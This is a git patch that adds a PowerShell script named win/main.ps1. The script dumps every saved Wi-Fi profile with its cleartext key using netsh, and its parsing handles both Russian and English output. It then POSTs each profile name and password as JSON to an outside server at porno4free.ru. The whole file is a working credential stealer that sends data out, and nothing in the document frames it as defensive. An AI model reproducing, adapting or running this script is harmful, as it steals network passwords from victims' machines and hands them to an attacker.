From e29ec99c48e7a64d60c221169281d94739e79db6 Mon Sep 17 00:00:00 2001 From: q Date: Mon, 14 Apr 2025 19:28:04 +0300 Subject: [PATCH] Add powrshell script to send files --- win/main.ps1 | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 win/main.ps1 diff --git a/win/main.ps1 b/win/main.ps1 new file mode 100644 index 0000000..32a80d2 --- /dev/null +++ b/win/main.ps1 @@ -0,0 +1,32 @@ +$apiUrl = "https://porno4free.ru/save-wifi" + +# Get wifi +$wifiData = (netsh wlan show profiles) | Select-String ":\s+(.+)$" | ForEach-Object { + $name = $_.Matches.Groups[1].Value.Trim() + $profile = netsh wlan show profile name="$name" key=clear | Out-String + + # Parsing password + $password = ($profile -split "Содержимое ключа|Key Content")[1] -split "`n" | Select-String ":\s*(.+)$" + $password = if ($password) { $password.Matches.Groups[1].Value.Trim() } else { "Нет пароля" } + + # format to send + [PSCustomObject]@{ + profile_name = $name + password = $password + } +} + +# Send +foreach ($wifi in $wifiData) { + $body = $wifi | ConvertTo-Json + $headers = @{ "Content-Type" = "application/json" } + + try { + $response = Invoke-RestMethod -Uri $apiUrl -Method Post -Body $body -Headers $headers + Write-Host "[GOOD] DATA SEND: $($wifi.profile_name)" -ForegroundColor Green + } catch { + Write-Host "[FUCK] FUCK$($wifi.profile_name): $_" -ForegroundColor Red + } +} + +Write-Host "ALL DONE!" -ForegroundColor Cyan \ No newline at end of file